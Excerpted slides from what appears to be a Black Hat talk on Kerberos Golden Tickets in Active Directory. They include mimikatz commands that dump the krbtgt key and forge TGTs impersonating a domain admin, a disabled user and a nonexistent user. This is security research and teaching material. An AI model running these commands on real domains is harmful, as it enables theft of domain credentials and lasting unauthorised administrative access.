• Group Membership in the PAC
– This means that ALL account policy is Client Side Enforcement
Kerberos :: AD Account Policy
42. • Kerberos 5 has no method for the KDC/TGS (server) to validate
that an account is still valid when presented with a TGT
– Microsoft implemented a solution for this problem
– IF the TGT is older than 20 minutes, the KDC will validate the account
is still valid / enabled before issuing service tickets
• We will come back to this later
Kerberos :: 20 Minute Rule
43. • Even if the technique remains the same, I’ve made the choice to
limit it to TGT (no TGS)
– Why ? Because TGT and TGS rely on different keys
– target key is renewed periodically, krbtgt… ~never
– A single TGT can obtain many TGS
Kerberos :: Golden Ticket
Ticket
Encryption
PAC KDC
Signature
PAC Server
Signature
TGT krbtgt krbtgt krbtgt
TGS target krbtgt target
44. • All you need is :
– KDC Key (krbtgt), it can be RC4 (NTLM hash) or AES
– SID of the domain (whoami, psgetsid, etc.)
– Domain name
Kerberos :: Golden Ticket
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670
* Primary
LM :
NTLM : 310b643c5316c8c3c70a10cfb17e2e31
* Kerberos-Newer-Keys
Default Salt : CHOCOLATE.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42
aes128_hmac (4096) : da3128afc899a298b72d365bd753dbfb
des_cbc_md5 (4096) : 620eb39e450e6776
45. • Create your own !
• kerberos::golden
/domain:chocolate.local <= domain name
/sid:S-1-5-21-130452501-2365100805-3685010670 <= domain SID
/rc4:310b643c5316c8c3c70a10cfb17e2e31 <= NTLM hash of krbtgt
/user:Administrateur <= username you wanna be
/id:500 <= RID of username (500 is THE domain admin)
/groups:513,512,520,518,519 <= Groups list of the user (be imaginative)
/ticket:Administrateur.kirbi <= the ticket filename
Kerberos :: Golden Ticket
46. • Client name : Administrateur
• Service name : krbtgt/chocolate.local
• Validity
– Start Time 07/08/2014 12:05:00
– End Time 07/08/2024 12:05:00
• …
• Authorization data Microsoft (PAC)
– Username : Administrateur
– Domain SID
• S-1-5-21-130452501-2365100805-3685010670
– User ID
• 500 Administrateur
– Groups ID
• 512 Admins du domaine
• 519 Administrateurs de l’entreprise
• 518 Administrateurs du schéma
• …
– …
Kerberos :: Golden Ticket
47. • Be crazy =)
– We want to have a long time access to a share limited to a user
“utilisateur”, disabled.
• kerberos::golden
/domain:chocolate.local
/sid:S-1-5-21-130452501-2365100805-3685010670
/aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42
/user:srvcharly$ <= real account always in good state
/id:1001 <= RID of the real account
/groups:513,1107 <= RID of “utilisateur” account, yep, in groups =)
/ticket:fake_utilisateur.kirbi
Kerberos :: Golden Ticket
48. • Be funky =)
• kerberos::golden
/domain:chocolate.local
/sid:S-1-5-21-130452501-2365100805-3685010670
/rc4:310b643c5316c8c3c70a10cfb17e2e31
/user:badguy
/id:0xffffffff
/groups:513,512,520,518,519
/ticket:badguy.kirbi
• Yep, both the USER and the ID don’t exist, so this TGT will only work for 20 mins (TGS
watchdog)
– It works if an ACL is defined with groups (this one spoofs a user in domain admins group; 512)
– …but all TGS obtained in this 20 mins will be valid 10h ;)
– …and you can make multiple TGT…
Kerberos :: Golden Ticket
52. • You! To come listen us!
– And trying to understand Benjamin ;)
– If you are shy : exorcyst{put here @}gmail.com & benjamin{put here @}gentilkiwi.com
• My co-speaker - he will recognize himself ;)
• Blackhat staff !
• Microsoft
– They give us a lot’s of subject for slides!
– For a few years, they have worked hard to enhance a lots of things in security (and it’s not easy to mix
security with retro compatibility)
• Security community (sorry, we have both a big list)
– Come see us for beer-time & stickers :P
Thank you all !